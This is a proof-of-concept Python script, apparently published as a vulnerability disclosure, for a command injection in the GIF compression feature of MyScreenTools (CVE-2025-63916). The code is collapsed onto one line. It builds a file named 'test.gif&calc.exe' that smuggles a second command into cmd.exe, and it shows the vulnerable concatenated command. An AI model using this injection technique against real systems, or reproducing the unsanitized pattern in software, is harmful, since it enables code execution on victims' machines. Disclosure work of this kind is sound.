CVE-2025-63916 MyScreenTools GIF压缩工具OS命令注入漏洞

import os import subprocess import sys # CVE-2025-63916 PoC - MyScreenTools GIF Compression OS Command Injection # This PoC demonstrates how to trigger the command injection vulnerability def generate_malicious_filename(): """ Generate a malicious GIF filename with command injection payload """ # The payload uses & to chain commands after the file path is processed # This will execute calc.exe after the legitimate GIF processing command malicious_filename = "test.gif&calc.exe" return malicious_filename def create_malicious_file(filename): """ Create a file with the malicious name to trigger the vulnerability """ try: # Create an empty file or a valid GIF header with open(filename, 'wb') as f: # Minimal GIF89a header to pass basic validation f.write(b'GIF89a\x01\x00\x01\x00\x00\x00\x00;') print(f"[+] Created malicious file: {filename}") return True except Exception as e: print(f"[-] Error creating file: {e}") return False def simulate_vulnerable_code(file_path): """ Simulate the vulnerable code pattern found in Form_gif_sicle_tool.cs This demonstrates how the injection occurs """ # VULNERABLE CODE PATTERN (as found in the source) # string cmd = $"cmd.exe /c gifsicle.exe --output \"{output_path}\" \"{file_path}\""; # Process.Start(cmd); # In the vulnerable implementation, user input is directly concatenated # without sanitization, allowing command injection via special characters # Example of what the vulnerable code might look like: vulnerable_cmd = f'cmd.exe /c gifsicle.exe --output "output.gif" "{file_path}"' print(f"[*] Vulnerable command constructed: {vulnerable_cmd}") print("[*] The & character causes command injection, executing additional commands") # In a real attack scenario, this would be executed via Process.Start() # subprocess.run(vulnerable_cmd, shell=True) # DANGEROUS - DO NOT RUN def demonstrate_injection(): """ Demonstrate the command injection vulnerability """ print("=" * 60) print("CVE-2025-63916 PoC - MyScreenTools OS Command Injection") print("=" * 60) # Generate malicious filename malicious_name = generate_malicious_filename() print(f"\n[+] Malicious filename: {malicious_name}") # Create the malicious file if create_malicious_file(malicious_name): # Show how the vulnerable code would process this simulate_vulnerable_code(malicious_name) print("\n[!] Attack scenario:") print(" 1. Attacker crafts a malicious GIF filename with command injection") print(" 2. Victim uses MyScreenTools GIF compression on this file") print(" 3. The vulnerable CMD() function executes injected commands") print(" 4. Attacker gains code execution with victim's privileges") # Cleanup try: os.remove(malicious_name) print(f"\n[+] Cleaned up: {malicious_name}") except: pass if __name__ == "__main__": demonstrate_injection()